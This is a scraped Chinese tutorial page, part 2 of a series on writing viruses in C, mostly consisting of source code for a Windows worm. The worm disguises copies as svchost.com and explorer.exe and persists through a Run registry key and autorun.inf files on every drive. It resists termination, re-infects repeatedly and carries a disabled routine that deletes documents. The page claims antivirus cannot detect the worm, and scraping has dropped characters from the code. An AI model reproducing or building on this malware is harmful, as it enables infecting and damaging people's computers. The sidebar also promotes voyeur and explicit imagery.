设为首页】 【加入收藏】 【网站地图】 【商品折扣
娱乐一生 娱乐明星
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
首页  |  java  |  .NET  |  C/C++  |  网页技术  |  php  |  asp  |  delphi  |  VC  |  VB开发  |  游戏开发  |  软件工程  |  Power Builder  |  Linux开发  |  Windows开发技巧
当前位置:首页 >> C技术资料 >> 用C语言写病毒(2)

用C语言写病毒(2) -

原帖及讨论:http:// .bc-cn.net/di .a ?BoardID=5&am ID=148427

本连载文章只讨论写病毒的技术,并不讨论危害计算机及网络,所示例的程序只是一个无危害的模板,你可以在技

术范围及法律范围内扩充实验.

在读本程序前请保证不用此程序进行违法活动,由于你使用本程序而对他人、组织等造成的任何损失都由将你承

担,本人不负任何责任,否则,请马上离开.

从本篇文章开始,拒绝任何形式的转载(本人除外),否则属于著作侵权,将受到《中华人民共和国软件保护

条理》、《中华人民共和国著作权法》等法律最大限度的制裁!!

点击下载该文件

本版病毒所具有的功能:
1.在所有磁盘的根目录生成svchost.com和autorun.inf文件
2.生成病毒体:
c:\windows\wjview32.com
c:\windows\explorer.exe
c:\windows\system32\dllcache\explorer.exe
c:\windows\system\msmouse.dll
c:\windows\system32\cmdsys.sys
c:\windows\system32\mstsc32.exe
3.病毒体c:\windows\explorer.exe感染原explorer.exe文件,使其不需要修改注册表做到启动时在

explorer.exe前启动
4.修改注册表,在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
设置自启动项(此操作不使用windowsAPI,防止用户对病毒体的发现,并实现并行执行)
5.生成的autorun.inf改变磁盘的打开方式,使其在windows2000以上的系统无论选择“打开”、“双击”、“

资源管理器”等方式都无法打开分驱,而是以运行病毒的方式取而代之。
6.连锁能力,将病毒体相连,实现相连复制更新
7.使用进程不断调用进程,使得在任务管理里无法结束病毒进程
8.不断搜索磁盘,只要发现未感染病毒的一律感染,病毒删除后1秒内再建
9.生成垃圾文件(DESTORY_感染_任意数字)5个于C盘下
10.附带删除文件函数(为防止危害,本函数默认不执行)

本病毒到目前为止任何杀毒软件都无法将其查杀
本病毒单机默认使用对机器无害(破坏代码已屏蔽)
提供病毒卸载程序(保存为X.BAT,双击运行即可卸载):

@echo off
echo SK-CHINA SVCHOST KILLER 2007.6
echo WRITE BY S.K
taskkill /im mstsc32.exe /f
del c:\windows\wjview32.com
del c:\windows\explorer.exe
del c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\msmouse.dll
del c:\windows\system32\cmdsys.sys
del c:\windows\system32\mstsc32.exe
del c:\svchost.com
del c:\autorun.inf
del d:\svchost.com
del d:\autorun.inf
del e:\svchost.com
del e:\autorun.inf
del f:\svchost.com
del f:\autorun.inf
del g:\svchost.com
del g:\autorun.inf
del h:\svchost.com
del h:\autorun.inf
copy c:\windows\system\explorer.exe c:\windows\explorer.exe
copy c:\windows\system\explorer.exe c:\windows\system32\dllcache\explorer.exe
del c:\windows\system\explorer.exe
echo FINISH!
echo 如果本次清除后仍残留有病毒,请再次运行本程序
pause

--------------------------------------------------------------------
核心代码:(全部代码请从附件中下载,请用DEV-C 运行其中的工程文件,编译后请将结果文件svchost.exe更名为svchost.com,否则本病毒无法发挥作用,请安心运行实验,恶意代码已屏蔽)


/*
 K-CHINA
 VCHOST virus WRITE BY S.K
 Compiler:
 DEV-C  4.9.9.2
*/

/* SVCHOST.C  */
/* SVCHOST.EXE */
/* SVCHOST.COM */
#include< tdio.h> /*标准输入输出*/
#include< tring.h> /*字符串操作*/
#include< tdlib.h> /*其它函数*/
#include< roce .h> /*进程控制*/
#include<dir.h> /*目录函数*/

#define SVCHOST_NUM 6 /*关键位置病毒复制数量*/
#define RU ISH_NUM 5 /*垃圾文件数量*/
#define REMOVE_NUM 5 /*删除文件数*/
/*====================================================================*/
/*
 文件AUTORUN.INF内容:
 1.自动运行SVCHOST.com
 2.覆盖默认打开命令,使用病毒体作为新的打开方式
 3.覆盖默认资源管理器命令,使病毒体作为新的命令方式
*/
char *autorun={"[AutoRun]\nopen=\"SVCHOST.com /s\"\ hell\\open=打开(&am O)

\ hell\\open\\Command=\"SVCHOST.com /s\"\ hell\\explore=资源管理器(&am X)

\ hell\\explore\\Command=\"SVCHOST.com /s\""};
/*=====================================================================*/
/*
 添加注册表项:
 1.自动运行生成病毒体C:\windows\wjview32.com
*/
char *regadd={"REGEDIT4\n\n

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"wjview32

\"=\"C:\\\\windows\\\\wjview32.com /s\""};
/*=====================================================================*/
/*
 函数:复制文件
 复制源:infile
 目的地:outfile
 成功返回0,失败返回1
*/
int copy(char *infile,char *outfile)
{
 FILE *i ut,*output;
 char tem 
 if(strcmp(infile,outfile)!=0 &am am  ((i ut=fopen(infile,"rb"))!=NULL) &am am  ((output=fopen

(outfile,"wb"))!=NULL))
 {
 while(!feof(i ut))
 {
 fread(&am temp,1,1,i ut);
 fwrite(&am temp,1,1,output);
 }
 fclose(i ut);
 fclose(output);
 return 0;
 }
 else return 1;
}
/*=====================================================================*/
/*
 函数:通过explorer自动运行
 成功返回0,失败返回1,2
*/
int autorun_explorer()
{
 FILE *i ut;
 if((i ut=fopen("c:\\windows\\system\\explorer.exe","rb"))!=NULL)
 {
 fclose(i ut);
 remove("c:\\windows\\$temp$");
 remove("c:\\windows\\system32\\dllcache\\$temp$");
 return 1;
 }
 copy("c:\\windows\\explorer.exe","c:\\windows\\system\\explorer.exe");
 rename("c:\\windows\\explorer.exe","c:\\windows\\$temp$");
 rename("c:\\windows\\system32\\dllcache\\explorer.exe","c:\\windows\\system32

\\dllcache\\$temp$");
 if(copy("SVCHOST.com","c:\\windows\\explorer.exe")==0 &am am  copy

("SVCHOST.com","c:\\windows\\system32\\dllcache\\explorer.exe")==0)
 return 0;
 else
 return 2;
}
/*=====================================================================*/
/*
 函数:添加注册表项
 成功返回0,失败返回1
*/
int add_reg()
{
 FILE *output;
 if((output=fopen("$$$$$","w"))!=NULL)
 {
 fprintf(output,regadd);
 fclose(output);
 awnl(1,"c:\\windows\\regedit.exe"," /s $$$$$",NULL);
 }
}
/*=====================================================================*/
/*
 函数:复制病毒 + Autorun.inf自动运行
*/
void copy_virus()
{
 int i,k;
 FILE *i ut,*output;
 char *files_svchost[SVCHOST_NUM]=

{"svchost.com","c:\\windows\\wjview32.com","c:\\windows\\system\\MSMOUSE.DLL","c:\\windows\\syste

m32\\cmdsys.sys","c:\\windows\\system32\\mstsc32.exe","c:\\windows\\explorer.exe"};
 char temp[2][20]={"c:\\svchost.com","c:\\autorun.inf"};
 for(i=0;i< VCHOST_NUM;i++)
 {
 if((i ut=fopen(files_svchost[i],"rb"))!=NULL)
 {
 fclose(i ut);
 for(k=0;k< VCHOST_NUM;k++)
 {
 copy(files_svchost[i],files_svchost[k]);
 }
 i=SVCHOST_NUM;
 }
 }
 for(i=0;i< VCHOST_NUM;i++)
 {
 if((i ut=fopen(files_svchost[i],"rb"))!=NULL)
 {
 fclose(i ut);
 for(k=0;k<24;k++)
 {
 copy(files_svchost[i],temp[0]);
 if((output=fopen(temp[1],"w"))!=NULL)
 {
 fprintf(output,"%s",autorun);
 fclose(output);
 }
 temp[0][0]++;
 temp[1][0]++;
 }
 i=SVCHOST_NUM;
 }
 }
}
/*=====================================================================*/
/*
 函数:制造垃圾文件
*/
void make_ru ish()
{
  int i;
  FILE *output;
  srand(0);
  for(i=0;i<RU ISH_NUM;i++)
  {
  int  
  char s[30];
  n=rand();
   rintf(s,"C:\\DESTORY_感染_%d",n);
  if((output=fopen(s,"w"))!=NULL)
  {
  fprintf(output,"%ld%s",n*n,s);
  fclose(output);
  }
  }
}
/*=====================================================================*/
/*
 函数:删除文件
*/
void remove_files()
{
 long done;
 int i;
 truct _finddata_t ffblk;
 char *remove_files[3]={"*.txt","*.doc","*.xls"};
 for(i=0;i<3;i++)
 {
 if(_findfirst(remove_files[i],&am ffblk)==-1) continue;
 while(!done)
 {
 remove(ffblk.name);
 _findnext(done,&am ffblk);
 }
 _findclose(done);
 }
}
/*=====================================================================*/
/*
 主程序
 使用DEV-C  32位C工程 实现.C程序脱离命令行界面,于后台执行
*/
int main(int argc,char **argv)
{
 int contral=0;
 if(argc>1)
 if(strcmp(argv[1],"/s")==0)
 goto next1;
 autorun_explorer();
 awnl(1,"c:\\windows\\system\\explorer.exe",NULL);
 ext1:
 add_reg();
 copy_virus();
 make_ru ish();
 /* remove_files(); */
 awnl(1,"c:\\windows\\system32\\mstsc32.exe"," /s",NULL);
 return 0;
}

点击下载该附件

 



 

娱乐图摘

更多 >>

靓丽清纯美女meimei

美女私房全裸照
导演劝女演员脱衣服(视频)

大胆火辣人体艺术写真(图)

黑丝妹妹热辣诱惑-丝袜美女妹妹

PLMM 漂亮妹妹图集-妹妹图库

全球美女图库-美女集中营

52MM 我爱漂亮妹妹-制服妹妹诱惑

图王图库-世界美女明星图片资料库
美女写真集锦

激情两性-解密性生活
浴室MM湿身内衣诱惑
邻家小妹洗澡被偷拍(视频)

热点文章

更多

· 用栈实现迷宫问题求解_C/C++_开发语言_软件开发
· 飞机订票系统设计_C/C++_开发语言_软件开发
· C语言优化双色球自选程序的小技巧
· 合并两个带头结点的有序循环链表合并为一个带头结点的有序循环链
· 详细解析C++编写的ATM自动取款机模拟程序_C/C++_开
· exit()与return()函数的差别_C/C++_开发语
· 深入浅出Win32多线程程序设计之综合实例_C/C++_开发
· C趣味编程百例(33)_C/C++_开发语言_软件开发
· C/C++中利用空指针提高程序运行效率_C/C++_开发语言
· 银行常用的打印程序_C/C++_开发语言_软件开发

热点文章

更多